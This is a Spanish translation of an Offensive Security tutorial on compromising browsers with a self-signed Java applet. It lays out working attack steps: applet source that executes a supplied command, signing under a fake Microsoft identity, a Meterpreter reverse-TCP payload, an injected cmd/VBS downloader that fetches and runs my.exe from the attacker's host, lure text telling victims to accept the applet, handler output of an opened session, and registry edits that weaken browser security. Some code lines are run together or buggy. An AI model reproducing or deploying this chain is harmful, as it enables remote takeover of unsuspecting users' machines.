Infeccion con el Applet de Java
Joshua Abraham (jabra) publico un gran articulo que se basa en una charla que se dio en el Infosec World Conference con Rafal Los y se puede encontrar en http://blog.spl0it.org. Esencialmente, los dos fueron capaces de construir un applet de java que una vez ejecutado en un navegador nos permitira ejecutar un payload con Meterpreter si el objetivo acepta la advertencia de seguridad.
Antes de sumergirnos en esto, tenemos que cumplir con algunos requisitos en nuestras maquinas atacantes antes de empezar.
root@bt4:/# apt-get install sun-java6-jdk
Jabra ha simplificado la mayor parte del proceso con el script en bash para reducir errores de entrada. Puedes descargar este script desde: http://spl0it.org/files/makeapplet.sh
#!/bin/bash
#
# Shell script to sign a Java Applet
# Joshua "Jabra" Abraham <jabra@spl0it.org>
# Tue Jun 30 02:26:36 EDT 2009
#
# 1. Compile the Applet source code to an executable class.
#
# javac HelloWorld.java
#
# 2. Package the compiled class into a JAR file.
#
# jar cvf HelloWorld.jar HelloWorld.class
#
# 3. Generate key pairs.
#
# keytool genkey -alias signapplet -keystore mykeystore -keypass mykeypass -storepass mystorepass
#
# 4. Sign the JAR file.
#
# jarsigner -keystore mykeystore -storepass mystorepass -keypass mykeypass - signedjar SignedHelloWorld.jar
# HelloWorld.jar signapplet
#
# 5. Export the public key certificate.
#
# keytool -export -keystore mykeystore -storepass mystorepass -alias signapplet -file mycertificate.cer
#
# 6. Deploy the JAR and the class file.
#
# <applet code="HelloWorld.class" archive="SignedHelloWorld.jar" width=1 height=1> </applet>
#
echo "Enter the name of the applet without the extension:"
read NAMEjavac $NAME.javaif [ $? -eq 1 ] ; then
echo "Error with javac"
exit
fi
echo "[+] Packaging the compiled class into a JAR file"
jar cf $NAME.jar $NAME.class
if [ $? -eq 1 ] ; then
echo "Error with jar"
exit
fi
echo "[+] Generating key pairs"
keytool -genkey -alias signapplet -keystore mykeystore -keypass mykeypass -storepass mystorepass
if [ $? -eq 1 ] ; then
echo "Error with generating the key pair"
exit
fi
echo "[+] Signing the JAR file"
jarsigner -keystore mykeystore -storepass mystorepass -keypass mykeypass -signedjar "Signed$NAME.jar" $NAME.jar signapplet
if [ $? -eq 1 ] ; then
echo "Error with signing the jar"
exit
fi
echo "[+] Exporting the public key certificate"
keytool -export -keystore mykeystore -storepass mystorepass -alias signapplet -file mycertificate.cer
if [ $? -eq 1 ] ; then
echo "Error with exporting the public key"
exit
fi
echo "[+] Done"
sleep 1
echo ""
echo ""
echo "Deploy the JAR and certificate files. They should be deployed to a directory on a Web server."
echo ""
echo "<applet width='1' height='1' code='$NAME.class' archive='Signed$NAME.jar'> "
echo ""
Ahora vamos hacer un directorio de trabajo para almacenar este archivo y luego agarrar desde su sitio o copiar y pegar en tu editor de texto favorito.
root@bt4:/# mkdir ./java-applet
root@bt4:/# cd ./java-applet
Tenemos que hacer un applet de Java que luego firmaremos. Para esto, copiamos y pegamos el texto de abajo en tu editor de texto favorito y lo salvamos como: "MSFcmd.java". Para lo que queda de este modulo, deja el editor abierto, ya que tendras que modificar algunos parametros a medida que avancemos por el modulo.
import java.applet.*;
import java.awt.*;
import java.io.*;
public class MSFcmd extends Applet {
public void init() {
Process f;
String first = getParameter("first");
try {
f = Runtime.getRuntime().exec("first");
}
catch(IOException e) {
e.printStackTrace();
}
Process s;
}
}
A continuacion, usaremos el shell script de Jabras para ayudarnos en hacer nuestro certificado. EL siguiente comando descargara el script, hazlo ejecutable, y luego ejecuta el script para producir el certificado.
root@bt4:/java-applet/# wget http://spl0it.org/files/makeapplet.sh && chmod a+x ./makeapplet.sh
root@bt4:/java-applet/# ./makeapplet.sh
Enter the name of the applet without the extension: MSFcmd
[+] Packaging the compiled class into a JAR file
[+] Generating key pairs
What is your first and last name? [Unknown]: MSFcmd
What is the name of your organizational unit? [Unknown]: Microsoft
What is the name of your organization? [Unknown]: Microsoft Organization
What is the name of your City or Locality? [Unknown]: Redmond
What is the name of your State or Province? [Unknown]: Washington
What is the two-letter country code for this unit? [Unknown]: US
Is CN=MSFcmd, OU=Microsoft, O=Microsoft Organization, L=Redmond, ST=Washington, C=US correct? [no]: yes
[+] Signing the JAR file
Warning:
The signer certificate will expire within six months.
[+] Exporting the public key certificate
Certificate stored in file
[+] Done
Ahora que ya todo esta preparado, desplegamos el archivo JAR y class.
root@bt4:/java-applet/# cp SignedMSFcmd.jar /var/www/
root@bt4:/java-applet/# cp MSFcmd.class /var/www/
root@bt4:/java-applet/# apache2ctl start
Ahora que el applet se ha desplegado, tendremos que crear un payload con Meterpreter. Cambia "X.X.X.X" en el ejemplo siguiente para que coincida con la direccion IP del atacante. Este comando utiliza msfpayload para crear un Reverse TCP Meterpreter Shell con nuestra victima. Generamos este payload en formato Raw y lo pasamos a traves de msfencode, salvamos el payload como ejecutable. El ejecutable lo copiamos a la raiz del directorio web y le damos permisos de ejecucion.
root@bt4:/pentest/exploits/framework3/# ./msfpayload windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 R | ./msfencode -t exe -o my.exe
root@bt4:/pentest/exploits/framework3/# cp ./my.exe /var/www/
root@bt4:/pentest/exploits/framework3/# chmod a+x /var/www/my.exe
Ahora tenemos que añadir un comando en el index.html que le permita al cliente descargar y ejecutar nuestro payload. Basicamente, esta pagina lanzara un applet de java firmado por nosotros mismos, que, cuando el cliente de permiso, este llamara al cmd.exe desde ese sistema, introduciendo lineas en un script vbs llamado "apsou.vbs". Este prevenido que este archivo puede ser encontrado en el sistema despues de tener exito y de "algunos" intentos fallidos. Despues que este archivo es creado, la misma cadena de comandos lanza el script vbs y pasa datos a una variable, el link atacante esta enlazado con el payload "my.exe". Una vez que el payload ha sido descargado, ejecutara my.exe con los permisos de usuarios.
Tenemos que modificar el index.html que nuestros clientes van ver. En un escenario de la vida real, un pentester podria agregar algun video, juegos de navegador, y otras actividades para distraer o entreter a la victima. Trucos inteligentes como Ingenieria Social pueden ser de gran ayuda, dirigiendo tus objetipos a una URL especifica y diciendole que acepte la advertencia de seguridad para continuar viendo la pagina o usar el "Secure applet IM Personalizado". Ademas tambien puedes tener payloads en diferentes carpetas esperando a clientes diferentes.
Escriba el comando de abajo como una sola linea y asegurese de cambiar el "X.X.X.X" por la IP atacante.
root@bt4:/pentest/exploits/framework3/# echo "<applet width='1' height='1' code='MSFcmd.class' archive='SignedMSFcmd.jar'>" > /var/www/index.html
root@bt4:/pentest/exploits/framework3/# echo "<param name='first' value='cmd.exe /c echo Const adTypeBinary = 1 > C:\windows\apsou.vbs & echo Const adSaveCreateOverWrite = 2 >> C:\windows\apsou.vbs & echo Dim BinaryStream >> C:\windows\apsou.vbs & echo Set BinaryStream = CreateObject("ADODB.Stream") >> C:\windows\apsou.vbs & echo BinaryStream.Type = adTypeBinary >> C:\windows\apsou.vbs & echo BinaryStream.Open >> C:\windows\apsou.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> C:\windows\apsou.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> C:\windows\apsou.vbs & echo Function BinaryGetURL(URL) >> C:\windows\apsou.vbs & echo Dim Http >> C:\windows\apsou.vbs & echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") >> C:\windows\apsou.vbs & echo Http.Open "GET", URL, False >> C:\windows\apsou.vbs & echo Http.Send >> C: windows\apsou.vbs & echo BinaryGetURL = Http.ResponseBody >> C:\windows\apsou.vbs & echo End Function >> C:\windows\apsou.vbs & echo Set shell = CreateObject("WScript.Shell") >> C:\windows\apsou.vbs & echo shell.Run "C:\windows\my.exe" >> C:\windows\apsou.vbs & start C:\windows\apsou.vbs http://X.X.X.X/my.exe C:\windows\my.exe'> </applet>" >> /var/www/index.html
Tambien agregaremos un mensaje que le indique al usuario que acepte nuestro applet malicioso.
root@bt4:/pentest/exploits/framework3/# echo "" >> /var/www/index.html
root@bt4:/pentest/exploits/framework3/# echo "Please wait. We appreciate your business. This process may take a while." >> /var/www/index.html
root@bt4:/pentest/exploits/framework3/# echo "To view this page properly you must accept and run the applet.
We are sorry for any inconvenience. " >> /var/www/index.html
Ahora tenemos que configurar el Metasploit multi/handler para escuchar los intentos de conexiones de los clientes. Vamos estar escuchando por un reverse shell desde el objetivo en el puerto 443. Este puerto esta asociado con el trafico HTTPS y la mayoria de los firewalls de las organizaciones permiten que este trafico salga de su red. Como antes, cambia el "X.X.X.X" por tu IP.
msf > use exploit/multi/handler
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST X.X.X.X
LHOST => X.X.X.X
msf exploit(handler) > set LPORT 443
LPORT +> 443
msf exploit(handler) > save
Saved configuration to: /root/.msf3/config
msf exploit(handler) >exploit -j
[*] Exploit running as background job.
[*] Started reverse handler
[*] Starting the payload handler...
Cuando una victima navegue a nuestro sitio web y acepte la advertencia de seguridad, el payload de Meterpreter se ejecutara y se conectara de regreso al handler, a nosotros.
msf exploit(handler) >
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (A.A.A.A:443 -> T.T.T.T:44477)
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
204 jusched.exe C:\ProgramFiles\Java\jre6\bin\jusched.exe
288 ctfmon.exe C:\WINDOWS\system32\ctfmon.exe
744 smss.exe \SystemRoot\System32\smss.exe
912 winlogon.exe C:\WINDOWS\system32\winlogon.exe
972 services.exe C:\WINDOWS\system32\services.exe
984 lsass.exe C:\WINDOWS\system32\lsass.exe
1176 svchost.exe C:\WINDOWS\system32\svchost.exe
1256 java.exe C:\Program Files\Java\jre6\bin\java.exe
1360 svchost.exe C:\WINDOWS\System32\svchost.exe
1640 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
1712 Explorer.EXE C:\WINDOWS\Explorer.EXE
1872 jqs.exe C:\Program Files\Java\jre6\bin\jqs.exe
2412 my.exe C:\windows\my.exe
3052 iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe
meterpreter >
Como nota final, si tienes problemas obteniedo acceso, asegurate que los archivos
'C:\windows\apsou.vbs'
and
'C:\windows\my.exe'
NO exista en tu objetivo.
Si intentas volver a usar el exploit en este cliente, no podras iniciar correctamente el script vbs.
Si sigues experimentado problemas y te has asegurado que los archivos de arriba no estan en el sistema, por favor revisa la siguiente localizacion en el registro y haz los cambios necesarios.
Start > run : regedit
navigate to:
HKLM\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Security_HKLM_only
change value to: 0
navigate to:
HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags
click Decimal
change value to 3
navigate to:
HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\
make new dword with the name 1C00
value in hex 10000
navigate to:
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags
click Decimal
change value to 3
Ahora cerramos regedit e iniciamos o reiniciamos el IE y la nueva configuracion se deberia aplicar.
- Original by www.offensive-security.com
- Traslated by Jhyx
0 comentarios:
Publicar un comentario